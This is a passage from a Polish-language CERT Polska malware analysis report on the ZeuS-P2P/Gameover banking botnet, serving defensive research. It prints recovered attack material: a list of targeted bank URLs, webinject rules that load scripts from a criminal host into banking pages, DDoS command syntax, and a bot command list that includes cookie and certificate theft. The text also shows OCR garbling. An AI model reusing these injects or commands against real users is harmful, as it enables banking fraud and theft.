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1 Wstep

Na poczatku 2012 roku pisaliémy o pojawieniu sie nowej wersji ZeuSa! - nazywanej
ZeuS-P2P lub Gameover. Wykorzystuje ona sie¢ P2P (Peer-To-Peer) do komunikacji oraz
wymiany danych z Centrum Zarzadzania CnC. Malware ten jest nadal aktywny - zagro-
zenie od ponad roku monitorowanie oraz badane przez CERT Polska. W drugiej potowie
2012 roku dotkneto ono bezposrednio Polskich uzytkownikow - konkretnie uzytkownikéw
bankowosci elektroniczne;j.

Jedna z rzeczy ktora odroznia Gameover od innych mutacji i wersji oprogramowania
z kategori ZeuS jest wystepowanie tylko jednej instancji tego botnetu. Standardowo ZeuS
- czy tez jego gtowny nastepca Citadel - sprzedawany jest jako tzw. crimeware toolkit,
czyli zestaw do samodzielnego montazu. Kazdy nabywca zestawu tworzy swoja instancje
botnetu - infekuje komputery, zbiera wykradzione informacje, wydaje polecenia. ZeuS-P2P
nie jest sprzedawany - istnieje jedna instancja, jeden botnet.

Niniejszy raport zawiera informacje, ktore powinny pozwoli¢ przecietnemu uzytkowni-
kowi zrozumie¢ nature zagrozenia oraz pokaza¢ w jaki sposéb mozna zidentyfikowaé zain-
fekowany komputer. Osoby bardziej zaawansowane czy tez zajmujace sie analiza ztosliwego
oprogramowania powinny rowniez znalez¢ interesujace fragmenty. Zamieszczony doktadny
opis protokotu, czy tez obszerne fragmenty odtworzonego kodu powinny wyjasni¢ tech-
niczne aspekty dziatania sieci P2P oraz nowe mozliwosci jakie niesie ze sobg malware.

1.1 Rys historyczny

Po wycieku kodu zrédlowego ZeuSa? w wersji 2.0.8.9 wiadome bylo, ze w niedalekiej
przysztosci zaczng pojawiaé¢ sie nowe warianty ztosliwego oprogramowania bazujace na
"upublicznionym”kodzie. Mozna byto si¢ rowniez spodziewaé, ze "nowi autorzy” beda im-
plementowali w swoich programach dodatkowe mechanizmy, ktore usprawnialyby prace
malware. Jednym z nowo powstalych wariantéw ZeuSa jest wtasnie ZeuS-P2P/Gameover.

Autorzy tej wersji skupili sie na wyeliminowaniu najstabszego ogniwa w dziataniu
spyware - kanatu komunikacji z CnC (Centrum Zarzadzania) botmastera. W przypadku
"klasycznych” wersji ZeuSa - istnieje mozliwosé zdefiniowania jednego (lub paru) adreséw
URL, pod ktére bot bedzie taczyt sie w celu wystania zebranych danych oraz pobrania
nowej konfiguracji. Takie rozwiazanie jest proste - ale niesie za soba ryzyko. Wystepujacy
w adresie URL serwer (adres IP czy tez nazwa domenowe) mozna namierzy¢ i prébowaé
zamknac¢ - co spowoduje utrate kontroli nad botnetem. Nowa mutacja do komunikacji z
CnC oraz dystrybucji danych wykorzystuje sie¢ P2P - stad pochodzi jej nazwa.

LCERT Polska: http://www.cert.pl/news/4711
2CERT Polska: http://www.cert.pl/news/3681
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1.2 (Byle) zagrozenie dla Polskich internautéw ?

Od wrzesnia do grudnia 2012 roku w plikach konfiguracyjnych ZeuSa-P2P znajdowaty
sie wpisy zwiazane z adresami systeméw transakeyjnych polskich bankéw. Gameover posia-
dat reguty wstrzykiwania kodu dla az 10 r6znych adreséw stron. Wprowadzona w systemie
transakcyjnym modyfikacja powodowata zatadowanie na stronie dodatkowych skryptow
JavaScript. Poczatkowo skrypty serwowane byty z adresu http://moj.testowyprzelew.net/
- jak wida¢ nazwa nie zostata dobrana przypadkowo. Domena ta jest obecnie przejeta i
kontrowana (sinkholowana) przez abuse.ch. Nastepnie przestepcy przerzucili sie na nowy
mechanizm - P2P-PROXY'. Zanonimizowany fragment nowej konfiguracji przedstawiony
jest na listingu [4]. Na zainfekowanym komputerze po zalogowaniu do banku pojawial sie
komunikat naktaniajacy do wykonania przelewu na okreslony numer konta. Docelowe nu-
mery kont pobierane i wyswietlane byty przez wstrzykniety kod JavaScript.

26 grudnia 2012 roku wpisy te zostaly usuniete z pliku konfiguracyjnego (czyzby prezent
pod choinke?) - nie mniej jednak aktywny przez 4 miesiace atak zebral na pewno spora
liczbe ofiar.

1.3 Jak wyglada zainfekowany komputer

Jednym z najbardziej charakterystycznych objawéw infekcji wariantem P2P jest po-
dejrzana aktywnos¢ sieciowa. Gameover generuje ruch TCP i UDP na wysokich portach o
numerach od 10 000 do 30 000 (zakres widoczny na wykresie 2). Poniewaz kazdy zainfeko-
wany komputer jest elementem sieci P2P, kazdy musi posiada¢ otwarty port TCP i UDP.
Liste otwartych portéw mozna sprawdzi¢ za pomoca systemowego polecenia netstat albo
za pomocy wygodnego narzedzia Sysinternals TCPVIEW. Niestety kazda wersja ZeuSa
stosuje metode kamuflazu - wstrzykuje swoj kod do obcych proceséw. Kod wstrzykiwany
jest na ogoét do pierwszego procesu aktualnie zalogowanego uzytkownika - w wiekszosci
przypadkéw oznacza explorer.exe.

Ponizej na rysunku [1] widoczny jest wynik dziatania programu TCPVIEW oraz przy-
ktadowe wpisy jakich nalezy szukac¢ na liScie. Poniewaz systemy Windows poczawszy od
wersji XP wyposazone sa w firewall, do prawidlowego dziatania niezbedne jest réwniez
dodanie przez malware wyjatkéw do zapory. Stan firewalla oraz liste wyjatkéw mozna wy-
swietli¢ za pomocg polecenia netsh firewall show config. Przyktadowy wynik dziatania
tego polecenia widoczny jest na Listingu [1].

C:\>netsh firewall show config

Konfiguracja portow dla profilu Standard:
Port Protokol Tryb Nazwa
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UDP Enable UDP 11111
TCP Enable TCP 22222

Enable Pulpit zdalny

Listing 1: Otware porty w konfiguracji firewalla

fa AEE|
Hx —
Process ¢ Fr..  Local Address Loz, Remotedddr..  Re.. State Sent Packets Sent Butes
J explorer exe TCF 0000 22222 0000 0 LISTEMING
' explorer.exe UoP 0000 s *
Endpoints: 31 Established: 5 Liskening: & Time wait; 2 Close Wait; 3

Rysunek 1: Otwarte porty TCP i UDP

1.4 Monitorowanie sieci P2P

Monitorowanie botnetéw opartych o sie¢ P2P jest znacznie tatwiejszym zadaniem w
poréwnaniu do klasycznych, scentralizowanych sieci. Zaimplementowanie podstawowych
funkcji umozliwiajacych interakcje z siecia P2P pozwala na jej prawie nieograniczone prze-
gladanie oraz enumeracje zainfekowanych komputeréw. Nasz system monitorowania ak-
tywnosci sieci P2P pozawala taczy¢ sie kolejno z weztami sieci pobierajac adresy innych
zainfekowanych komputeréw.
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Rysunek 2: Histogram zaobserwowanych numeréw portéw UDP, Liczba prébek: 100000000
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Histogram na rysunku [2]| przedstawiajacy numery portéw UDP zdalnych komputeréw
zarejestrowane przez nasz system monitorowania. Wyraznie widoczny jest wspomniany
wczesniej przedziat : od 10 000 do 30 000. Niezerowe wartosci po za wymienionym prze-
dzialem to najprawdopodobniej efekt dziatania innych, zle skonfigurowanych systeméw
monitorowania, oraz ruch nie zwigzany z siecig P2P.

1.5 O debugowaniu, dekompilacji i obiektach ...

Zrédlem informacji o sposobie (algorytmie) dziatania oraz strukturach danych ztosli-
wego oprogramowania jest reverse engineering (inzynieria wsteczna). W przypadku mal-
ware polega ona na ogdt na debugowaniu - systematycznym analizowaniu kodu programu
podczas jego wykonywania oraz obserwowaniu zmian w pamieci badanego procesu. Dla
sprawnego inzyniera czytanie kodu assemblera oraz zrzutéw fragmentéw pamieci nie jest
problemem - dla mniej wprawnych jest to niestety spora bariera. Z pomoca przychodza
rozne narzedzia utatwiajace analizowanie przebiegu programu, np.: poprzez wizualizacje
blokéw kodu w postaci grafu, czy tez dekompilacje kodu do jezyka wyzszego poziomu.

Podczas analizy ZeuS-P2P wykorzystywany byt program IDA Pro wraz z dodatkiem
HexRays Decompiler. IDA Pro jest jednym z najlepszych narzedzi do deasemblacji kodu
maszynowego. Posiada réwniez mozliwo$¢ podpiecia do debuggera, co umozliwia analizowa-
nie kodu dziatajacego programu. Dodatek HexRays Decompiler pozwala na dekompilacje
badanego kodu do (prawie) jezyka C. Niestety proces dekompilacji nie jest idealny - gtéwnie
ze wzgledu na zmiany prowadzanie w kodzie podczas optymalizacji dokonywanych podczas
kompilacji. Zdarza sie wiec ze po dekompilacji w kodzie znajdziemy instrukcje warunkowsg if
zawierajaca wiecej niz 10 warunkow logicznych potaczonych ze soba za pomoca operatoréw
alternatywy i koniunkcji. Zamieszczone w raporcie listingi kodu to nieznacznie poprawione
wyjscie dziatania HexRays Decompiler.

Kolejnym problemem jest kwestia poprawnego identyfikowania ”obiektow”. Kod ma-
szynowy zawiera jedynie szczatkowe informacje na temat klas wykorzystywanych w pro-
gramie. Po kompilacji zanika informacja o dziedziczeniu, a niektore z metod mozna jedynie
zidentyfikowaé¢ szukajac w pamieci tablic funkcji wirtualnych. Odtworzenie struktury klas
w wigkszosci polega na zlokalizowaniu w kodzie i analizie konstruktoréw i destruktorow.
Jedynym sposobem na zidentyfikowanie ktére funkcje (nie widniejace w tablicach funkcji
wirtualnych) sa metodami pewnej klasy jest zlokalizowanie tych, ktére pasuja do konwencji
thiscall a nastepnie sprawdzenie kontekstu uzycia referencji do obiektu this.

Kolejna rzecza zamazywana w procesie kompilacji sa nazwy (chyba, ze podczas kom-
pilacji do pliku zostaly dotaczone symbole utatwiajace debugowanie - na co nie powinno
sie liczy¢ podczas analizy malware). Wszystkie wystepujace w raporcie nazwy (funkcji,
zmiennych, struktur danych, sekcji pliku konfiguracyjnego) - o ile nie byly one uzyte w
dostepnym kodzie ZeuSa 2.0.8.9 - sa wylacznie tworem oséb analizujacych. Dobrane sg one
w taki sposob, aby jak najlepiej oddawaty znaczenie nazwanego elementu.
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1.6

Podziekowania

Lista osob, ktorym chcieliSmy podzigkowaé za wspotprace oraz konsultacje w trakcie
badan: Christian Rossow (Institute for Internet Security),Dennis Andriesse (VU University
Amsterdam), Tillmann Werner (The Honeynet Project), Daniel Plohmann (Fraunhofer
FKIE), Christian J. Dietrich (Institute for Internet Security), Herbert Bos (VU University
Amsterdam), Brett Stone-Gross (Dell SecureWorks), Adrian Wiedemann ( bfk.de )

1.7

Definicje i pojecia

Aby umozliwi¢ mniej zaawansowanym uzytkownikom przebrniecie przez techniczny opis
oraz usystematyzowac terminy wykorzystywane w raporcie, zamieszczamy ponizej wykaz
poje¢ oraz ich definicje:

Bot/zombie - komputer zainfekowany ztogliwym oprogramowaniem.

Botnet - sie¢ zlozona z zainfekowanych komputeréw (botéw).

Botmaster - osoba zarzadzajaca botnetem.

Serwer CnC - serwer shuzacy do zarzadzania botnetem.

Sie¢ ZeuS-P2P - sie¢ P2P zlozona komputeréw zainfekowanych malware ZeuS-P2P.
Wezet - bot nalezacy do sieci P2P.

Super-wezel - wybrany (przez Botmastera) wezel sieci P2P, ktéry moze uczestniczy
uczestniczy¢ w przekazywaniu danych do serwera CnC.

P2P-PROXY - mechanizm pozwalajacy na przekazywanie zadan HT'TP do serwera
CnC za pomocy tancucha super-weztéow w sieci P2P.

Zas6b-P2P - plik konfiguracyjny lub binarny, wymieniany miedzy weztami przez sie¢
P2P (w skrécie zasob).

Storage - format zapisywania danych przez ZeuSa. Sktada si¢ on z nagtowka oraz
wielu rekordow.

Rekord - pojedynczy element struktury Storage. Zawiera nagtéwek rekordu oraz dane.
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2 "Nowosci”

2.1 Robznice w stosunku do ”klasycznych” wariantow.

e Sie¢ P2P - jak juz zostalo to wczesniej
wspomniane, gtéwna réznica polega na
rezygnacji ze scentralizowanego zarza-
dzania. Wymiana danych odbywa sie¢
przez sie¢ P2P, ktoérej weztami sy za-
infekowane komputery.

e Mechanizm DGA - w przypadku proble-
mow z potaczeniem do sieci P2P uru-
chamiany jest zapasowy mechanizm.

e Podpisywanie zasobow - przesylane przez sie¢ zasoby opatrzone sa cyfrowym podpi-
sem RSA. W kodzie bota zapisany jest klucz publiczny, za pomoca ktorego weryfi-
kowane jest pochodzenie tych plikéw. Zapobiega to dystrybuowaniu przez sie¢ P2P
fatszywych, niepodpisanych przez Botmastera plikow.

e Zmiana algorytmu kompresji rekordéw struktury storage. Domyslnie ZeuS wykorzy-
stuje algorytm ULC (otwarta implementacja NRV). W nowym wariancie wykorzy-
stywane sg funkcje z biblioteki zlib.

e Dodatkowe szyfrowanie - kazdy rekord struktury storage jest dodakowo szyfrowany
unikalnym kluczem.

e DDoS - implementacja wykonywania atakow DDoS

e HTTP przez P2P - wykorzystanie sieci P2P jako tancucha serweréw proxy do obstugi
zadan HTTP.

e Implementacja PCRE - umozliwienie tworzenia regut w pliku konfiguracyjnym za-
wierajacych wyrazenia regularne w formacie PCRE.

Wsrod innych, ciekawych réznic warto wymieni¢ iz podczas analizy i dekompilacji kodu
widaé¢, ze znaczna cze$¢ oryginalnego kodu ZeuSa 2.0.8.9 zostata przepisana z formy pro-
ceduralnej do obiektowej. Mozna to dostrzec na wielu listingach w ponizszym raporcie.

2.2 Sekcja "WebFilters”

Plik konfiguracyjny kazdej wersji ZeuSa umozliwia bardzo elastyczne definiowanie za-
chowania bota na zainfekowanym komputerze. Dwiema najwazniejszymi sekcjami sg tzw.
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"WebFilters” oraz ” Weblnjects”. Sekcja ” WebFilters” zawiera liste wzorcow adreséw URL
dla ktorych ma by¢ wykonana okreslona czynnosé. Wpisy poprzedzone wykrzyknikiem ”!”
oznaczaja, iz dane pochodzace ze strony (ktérej adres pasuje do wzorca) nie beda zbierane.
Whpisy poprzedzone malpa ”"@” oznaczaja, iz na stronie (ktérej adres pasuje do wzorca)
przy kazdym kliknieciu myszka zostanie wykonany zrzut ekranu. Ten mechanizm pomaga
monitorowaé klawiatury ekranowe i inne interaktywne elementy zabezpieczajace. Ponizej,
na listingu [2] widoczna jest oméwiona sekcja pochodzaca z badanego wariantu P2P. Znala-
zta sie tutaj jedna polska domena - "nasza-klasa.pl”. Jest ona poprzedzona wykrzyknikiem
- co oznacza, iz dane pochodzace z tego portalu sa dla bot-mastera bezwartosciowe.

Entry WebFilters:
Thttp://*
'https://server.iad.liveperson.net/*
'https://chatserver.comm100.com/*
'https://fx.sbisec.co.jp/*
'https://match2.me.dium.com/*
'https://clients4.google.com/*
'https://*.mcafee.com/*
'https://www.direktprint.de/*
!x.facebook.com/*
I*. myspace.com/*
!'xtwitter.com/*
!'x. microsoft.com/x*
!x.youtube.com/*
!*hotbar.comx*
'https://it.mcafee.com*
'https://telematici.agenziaentrate.gov.itx*
'https://www.autobus.itx*
'https://www.vodafone.it/*
!'*punjabijanta.com/*
!'*chat .*
'*hi5.com
!'*musicservices.myspacecdn.com*
!'*abcjmp.comx*
!*scanscout.com*
!*streamstatsl.blinkx.comx*
!'xhttp://musicservices.myspacecdn.comx*
!'*mochiads.com
!*nasza-klasa.pl*
!*bebo.com*
!xerate/eventreport.asp*
!'*mcafee.comx*
!'*my-etrust.com*
'https://*.1lphbs.com/*
@https://*.onlineaccess*AccountOverview.aspx
@https://bancopostaimpresaonline.poste.it/bpiol/lastFortyMovementsBalance.do?method=«

loadLastFortyMovementList

@https://www3.csebo.it/*
@https://qweb.quercia.com/*
@https://www.sparkasse.it/*
@https://dbonline.deutsche-bank.it/*
@https://*.cedacri.it/*
@https://www.bancagenerali.it/*
@https://wuw.csebo.it/*
@https://*.deutsche-bank.it/*
@https://hbclassic.bpergroup.net/*/login
@https://nowbankingpiccoleimpresex*
@https://www.inbiz.intesasanpaolo.com/*

end

Listing 2: plik konfiguracyjny - sekcja filtréw URL




© 0 N O W N

e e
W N = O

© 0N OO W N

CERT Polska / 2013 Raport: ZeuS P2P

2.3 Sekcja "Webinjects”

2.3.1 Implementacja PCRE

Ta czes¢ pliku konfiguracyjnego zawiera opis operacji na tresci strony internetowej po-
dejmowanych w zalezno$ci od zadanego adresu URL. Kazda pozycja zawiera liste warunkow
- wzorcow adresow URL - ktore dopasowywane sg do adresu podczas otwierania konkretnej
strony internetowej. Po niej nastepuje lista akcji - definiujagca w jaki sposdb okreslone czesci
tredci strony internetowej maja by¢ modyfikowane. Nowoscia (w stosunku do wersji 2.0.8.9)
jest mozliwo$¢ wykorzystania wyrazen regularnych PCRE - zaréwno w czesci okreslajacej
wzorzec adresu URL oraz w samej definicji webinjectu. Ponizej (listing [3]) fragment pliku
konfiguracyjnego zawierajaca prosty webinject. Jego dziatanie polega znalezieniu w tresci
strony tagu BODY (linia 5) a nastepnie wstrzyknieciu (dopisaniu) skryptu (linijka 8).

Entry webinject:
condition: MATCH: “https://www\.adres-pewnego-banku\.com/.*
condition: NOT-MATCH: \.(gifl|pngljpglcss|swf) ($I\?)
data-begin
<BODY.*?>(7P<inject>)
data-end
inject -begin
<script>
window.onerror=function(msg){return true}; document.body.style.display="none";
</script>
inject -end

end

Listing 3: plik konfiguracyjny - proste wstrzykiwanie kodu

2.3.2 Tajemnicza zmienna $_ PROXY_SERVER_HOST_$

W tresciach wstrzykiwanych do strony internetowej moze znalez¢ sie réwniez kod wezy-
tywany z zewnetrznych zrodet. Jest to mozliwe np: poprzez umieszczenie tagéow script
z parametrem src. Aby uniemozliwi¢ namierzenie oryginalnego zZrodta dystrybucji takich
skryptow istnieje mozliwo$¢ wykorzystania nowego mechanizmu - P2P-PROXY. Ponizej
(listing [4]) przedstawiony jest fragment pliku konfiguracyjnego (sekcji webinjects), ktory
wykorzystuje ten zabieg w celu wstrzykniecia dwoch skryptéw w kontekst strony banku.
Tego typu mechanizm stosowany byt podczas wspomnianych wezesniej atakéw na klientéw
bankowosci internetowej polskich bankow.

Entry webinject:
condition: MATCH: “https://www\.adres-jednego-z-bankow\.pl/.*7
condition: NOT-MATCH: \.(giflpngljpglcss|swf) ($[\7)
data-begin:
</body >(?P<inject>)
data-end
inject -begin
<script type="text/javascript" src="http://$_PROXY_SERVER_HOST_$/pl/?st"></script>
<script type="text/javascript" src="http://$_PROXY_SERVER_HOST_$/pl/?q=999"></script>
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Serwis Bankowy Przegladarka Bot Sie¢ PROXY

Zapytanie HTTP

przejecie tredci
T
podmiana tresci - wstrzykniecie kodu

<script src="http://localhost:1234/....”

Przetwarzanie tresci:
pobranie skryptu z adresu

http://localhost:1234/...
Zadanie http

».

T
HTTP — P2P

\ Ruch P2P .

Ruch P2P

Wyswietlenie tresci
Rysunek 3: Mechanizm podmiany tresci strony oraz dziatanie P2P-PROXY

10 ‘ inject -end
11 | end
L

Listing 4: plik konfiguracyjny - wykorzystanie P2P-PROXY

Sekwencja wstrzykiwania kodu oraz obstugi P2P-PROXY przedstawiona jest na dia-
gramie [3]. Dziatanie P2P-PROXY zostato dokladnie oméwione w sekeji [6.2.1]. Podczas
przetwarzania wstrzykiwanego kodu cigg znakéw $ PROXY _SERVER_HOST_$ zamieniany
jest (patrz listing [17]) na adres localhost:port-tcp. port-tcp to numer portu TCP wyko-
rzystywanego przez bota na zainfekowanej maszynie. Nastepnie przegladarka internetowa
podczas przetwarzania tresci strony chcac wyséwietli¢ dany element wysyta zadanie HT'TP
pod wygenerowany adres ”localhost” - czyli do lokalnego komputera. Zadanie to odbierane
jest przez bota i przekazywane do mechanizmu P2P-PROXY. Widoczne jest to na rysunku
[4]. Aby wyswietli¢ tre$¢ strony, przegladarka internetowa (w tym przypadku Firefox) na-
wiazuje potaczenie z localhost na porcie 2222 (pozycja 2 i 3). Potaczenie odbierane jest
przez proces explorer.ere, poniewaz w nim wlasnie wstrzykniete sa watki robocze ZeuSa.
Bot odbiera to potaczenie, a nastepnie opakowuje je w odpowiedni komunikat i przeka-
zuje do jednego z super-weztow. Wyswietlona w przegladarce na ponizszym obrazku tres¢
pochodzi z symulowanej przez nas sieci super-weztow.
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) XX - Mozilla Firefox

6 - |j http: /1127 .0.0,1: 22222 [prosy-test ‘f:? "| c T M

| (3% Lt |
PROXY-REQUEST |

& TCPView - Sysinternals: www.sysinternals.com

File Options Process  Wiew  Help

Hx = [

Frocess Fr..  Local Address Loc...  Remote &ddr. . Re... State Sent P
explorer. exe TCP 127001 22222 127001 2443  ESTaABLISHED
firefo. exe TCP 127001 2443 127.0.01 22222 ESTaABLISHED
£ | >
Endpoints: 13 Established: Listening: O Time Waits 2 Close Wait: 3

Rysunek 4: Polgczenia TCP wykonywane podczas wykorzystania P2P-PROXY

2.3.3 Zmienne $ BOTID $ $ BOTNETID_$ oraz $ SUBBOTNET_$

Jednej z ostatnich aktualizacji malware wprowadzita mozliwo$¢ wykorzystania w tre-
$ci webinjectu zmiennych $ BOTID_$,$ BOTNETID_$ oraz $_.SUBBOTNET_$. Funkcja
podmieniajgca cigg znakéw $_PROXY_SERVER_HOST_$ zostala rozbudowana o mozli-
wos¢ przetwarzania innych stow kluczowych. Nazwy tych zmiennych ttumacza ich znacze-
nie. Dodatkowo wskazuja pewien trend, mianowicie botmaster prawdopodobnie umozliwia
przypisywanie konkretnych botow do grup - na co moze wskazywaé¢ nazwa SUBBOTNET.
Ponizej fragment pliku konfiguracyjnego wykorzystujacy opisywane zmienne:

Entry webinject:
condition: MATCH: (7: https://.*?\.vv\.the-bank-name-xxx\.se/.*7)
condition: NOT-MATCH: (?7:\.(giflpngljpglcsslswf)($/\?))
data-begin:
(?7:<!DOCTYPE (?P<inject >))
data-end
inject -begin
<script type="text/javascript"
src="https://thestatisticdata.biz/an4XpPvL6p/?Getifile" id="MainInjFile" host="«
thestatisticdata.biz" link="/an4XpPvL6p/?botID=$_BOT_ID_$&BotNet=$_SUBBOTNET_$&"—
https="true" key="WypXwdPhCm">
</script>
inject -end
end

Listing 5: Przykladowy webinject wykozystujace zmienne
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2.4 Nowe polecenia w skryptach - ataki DDoS

Na listingu [7] przedstawiona zostata lista polecen
akceptowanych przez wbudowany w bota interpreter
skryptow. Szczegdlna uwage nalezy zwrdci¢ na pierw-
sze cztery wpisy - sg to nowe polecenia, w stosunku
do ZeuSa 2.0.8.9. Wnioskujac po ich nazwie mozna
stwierdzi¢, iz w opisywanym wariancie malware za-
implementowana zostata mozliwos¢ przeprowadzania
atakow DDoS. Z analizy funkcji (listing [18]) odpo-
wiedzialnej za realizacje ustawienia typu ataku widac,
ze zaimplementowane zostaly dwa rodzaje atakow:
dhtudp oraz http. Dla wybranego typu istnieje moz-
liwos¢ zdefiniowania wielu adreséw docelowych, odpo-
wiednio za pomocg funkcji ddos_address oraz ddos_url.
Na listingu [19] przedstawiony jest glowny watek od-
powiedzialny za wykonanie ataku. Uruchamia on z
okreslonym interwatem czasowym funkcje atakujaca w
zaleznosci od wybranego wczesniej typu ataku. Atak
dhtudp (patrz listing [20]) polega na wysylaniu pakie-
tow UDP na okre$lony adres. Nalezy rowniez podaé
zakres portow docelowych na ktére bedg wysytane pa-
kiety. Atak typu http (patrz listing [21]) powoduje wy-

ddos_type
ddos_address

ddos_url

ddos_execute
os_shutdown

os_reboot
bot_uninstall
bot_bc_add
bot_bc_remove
bot_httpinject_disable
bot_httpinject_enable
fs_find_add_keywords
fs_find_execute
fs_pack_path
user_destroy
user_logoff
user_execute
user_cooki
user_cookies_remove
user_certs_get
user_certs_remove
user_url_block
user_url_unblock
user_homepage_set
user_emailclients_get

user_flashplayer_get
user_flashplayer_remove

Listing 7: Lista dostepnych
polecen w sktyptach ZeuS-

stanie zadania POST lub GET pod okreslony adres P2P
URL. W tym przypadku istnieje réwniez mozliwosé
opcjonalnego podania tresci zapytania POST. Na li-
stingu ponizej przedstawiona jest sktadnia nowych po-
lecen. Jest to wynik inzynierii wstecznej funkcji obstu-

gujacych kazda z wymienionych komend.

ddos_type <http|dhtudp>

ddos_address <dst-addr> <src-port> <dst-port>
ddos_url <POST|GET> <URL> <POST-DATA>
ddos_execute <duration> <interval>

Listing 6: Sktadna polecen DDoS

2.5 Ukrycie nazw komend uzywanych w skryptach

Dotychczas nazwy polecen dostepnych w skryptach przechowywane byty w tablicy zako-
dowanych ciggéw CryptedStrings::STRINGINFO. Kodowanie opiera sie na operacji XOR
z jedno-bajtowym kluczem (réznym dla kazdego ciagu znakéw). W nowej wersji malware
polecenia te zostaly usuniete ze struktury CryptedStrings::STRINGINFO. Zastapione zo-
staty tablica zawierajaca pary : sume CRC32 oraz wskaznik na funkcje. Identyfikacja
komendy odbywa sie przez wyliczenie sumy CRC32 z kazdego polecenia w skrypcie a

11



CERT Polska / 2013 Raport: ZeuS P2P

nastepnie poréwnanie wyliczonej wartosci z wpisami w tablicy. Po znalezieniu pasujacego
wpisu wywolywana zostaje okreslona funkcja.

3 Przechowywanie danych - pliki konfiguracyjne i bi-
narne

Dane w ZeuSie przechowywane sa w strukturze nazwanej storage. Sktada sie ona z
naglowka STORAGE (jego budowe przedstawia tabela [2]) oraz rekordéw (z ang. items).
W nagtéwku znajduja sie¢ informacje o ilosci danych zawartych w rekordach oraz suma
kontrolna catosci. Kazdy rekord zawiera na poczatku nagtéwka cztery pola po cztery bajty
kazde: identyfikator, typ, rozmiar, oraz rozmiar po rozpakowaniu. Po nagtéwku znajduje
sie tres¢ rekordu - moze by¢ ona spakowana, stad dwa pola moéwiace o rozmiarze danych.
Ponizej tabela [1] przedstawia budowe struktury sktadowania danych.

Tablica 1: struktura storage

nagléwek STORAGE rozmiar | flagi | md5 | ...
rekord 1 numer | typ | rozmiar-1 | rozmiar-2 | [[ DANE ]
rekord 2 numer | typ | rozmiar-1 | rozmiar-2 | [[ DANE ]
rekord N numer | typ | rozmiar-1 | rozmiar-2 | [[ DANE ]

Struktura ta wykorzystywana jest to sktadowania i przesytania wszystkich danych bi-
narnych - zaréwno plikéw konfiguracyjnych jak i raportéw wysytanych do centrum zarza-
dzania CnC.

3.1 Wersjonowanie zasobow

typedef struct { typedef struct {
BYTE padding[0x14]; BYTE randData [20];
DWORD size; DWORD size;
DWORD flags; DWORD flags;
DWORD version; DWORD count;
BYTE md5[0x10]; BYTE md5Hash [16/*MD5HASH_SIZEx*/];
} StorageHeader; }STORAGE;
// Xod ZeuS-P2P // Kod zeus 2.0.8.9
// dekompilacja CERT Polska //

Tablica 2: Definicja struktury ”Storage” w dwéch wersjach ZeuSa
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Gameover - w poréwnaniu do wersji 2.0.8.9 - wprowadzil zmiane w budowie nagléwka
STORAGE. Pole méwigce o liczbie rekordow zostato zastgpione numerem wersji - jest
to 32 bitowa liczba catkowita. Z zebranych danych wynika, iz numery wersji kolejnych
zasoboéw nie sg zwiekszane o stalag warto$¢. Po wykresleniu zaleznosci numeru wersji w
stosunku do daty zaobserwowania w sekundach wida¢ liniowa zaleznos$¢ (patrz rysunki [6] i
[5]).Po niezbyt skomplikowanych operacjach mozna uzyskaé informacje, iz wersja ”zerowa”
plikow wypuszczona zostata w okolicach 1314662400 sekundy czasu Unix EPOCH. Po
przeksztalceniu tej wartosci na czas UTC otrzymujemy poéinoc (00:00), 30 sierpnia 2011
roku. Data ta odpowiada pierwszym doniesieniom?® o wykryciu malware ktéry wyglada na
mutacje ZeuSa i jednoczesnie generuje ruch UDP. Na zamieszczonych wykresach widac
rowniez, jak czesto wypuszczane sg aktualizacje pliku konfiguracyjnego oraz binarnego

user@linux# date -d 01314662400 -u

wto, 30 sie 2011, 00:00:00 UTC

Listing 8: konwersja daty z Unix EPOCH do UTC

T T T T T T T T

4.5e+07 [ —

[

= ! ! ! ! H H f— — :
@ : : : : : : H - = :
© : : : : : B T .. . :
= : : : : L : : :
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Rysunek 5: obserwowane wersje pliku konfiguracyjnego w czasie

3.2 Weryfikowanie podpisu zasobow

Jedng z podstawowych cech sieci P2P jest bezposrednia wymiana zasobow miedzy jej
weztami. Poniewaz taka metoda dystrybucji danych moze pozwalaé¢ na przesytanie sfatszo-
wanych tresci, zasoby wymieniane w sieci P2P sg podpisywane cyfrowo. Jest to mechanizm
chronigcy botnet poprzez weryfikacje zrédta pochodzenia zasobow - tylko botmaster po-
siada klucz prywatny, ktérym moze podpisa¢ propagowane dane. Przedstawiona na listingu
[22] funkcja odpowiedzialna jest za weryfikacje podpisu cyfrowego. Przyjmuje ona wskaznik
do danych oraz ich rozmiar. Klucz publiczny, ktory wykorzystywany jest do weryfikacji,
przechowywany jest w pamieci w formie zaszyfrowanej. Szyfr jest bardzo prosty i opiera sie
na funkeji XOR (linie od 6 do 13), ale zapobiega odnalezieniu klucza w pamieci procesu.

3abuse.ch : https://www.abuse.ch/?p=3499
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Rysunek 6: obserwowane wersje pliku binarnego w czasie
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Rysunek 7: Zrzut pamigci zawierajacy rozkodowany klucz publiczny

typedef struct _PUBLICKEYSTRUC {
BYTE bType;
BYTE bVersion;
WORD reserved;
ALG_ID aiKeyAlg;
} BLOBHEADER, PUBLICKEYSTRUC;

Listing 9: Struktura PUBLICKEYSTRUC

Pole Wartosé Nazwa stalej Opis

bType 0x06 PUBLICKEYBLOB The key is a public key.
bVersion 0x02 CUR_BLOB_VERSION -
siKeyAlg 0x00002400 CALG_RSA_SIGN RSA public key signature

Listing [22] przedstawia kod odpowiedzialny za weryfikacje podpisu zasobéw. Procedura
sprawdzajaca poprawnos$¢ podpisu korzystaja ze standardowego API kryptograficznego z
biblioteki advapi32.dll (funkcje takie jak CryptlmportKey, CryptGetKeyParam,
CryptVerifySignatureW). Rysunek [7] przedstawia fragment pamieci zawierajacy klucz
publiczny po odkodowaniu. Analizujac opis funkcji CryptImportKey mozna znalez¢ in-
formacje, iz dane podane jako jej parametr powinny zawiera¢ na poczatku strukture PU-
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BLICKEYSTRUC przedstawiona na listingu [9]. Na przedstawionym fragmencie pamieci
zaznaczone zostaly poszczegolne pola tej struktury. Wartosci tych pél to:

3.3 Dodatkowe szyfrowanie rekordow

Jak juz zostalo to wezesniej wspomniane, kazdy z rekordéw struktury storage jest do-
datkowo szyfrowany. Jest to prosty szyfr XOR z 4 bajtowym kluczem. Klucz ten wyliczany
jest osobno dla kazdej sekcji bazujac na trzech wartosciach:

e identyfikator sekcji
e rozmiar danych w sekcji

e numer wersji pliku konfiguracyjnego

Ponizej zamieszczamy kod funkeji dekodujacej rekord oraz fragment kodu korzystaja-
cego z tej funkeji:

int storage::decryptRec(Storage** pStor, int itemID, char* in, int dataSize, char *out){
uniCrypt crypt;
int KEY = 0 ;
KEY = itemID | (dataSize << 16) | (*pStor->header.version << 8);
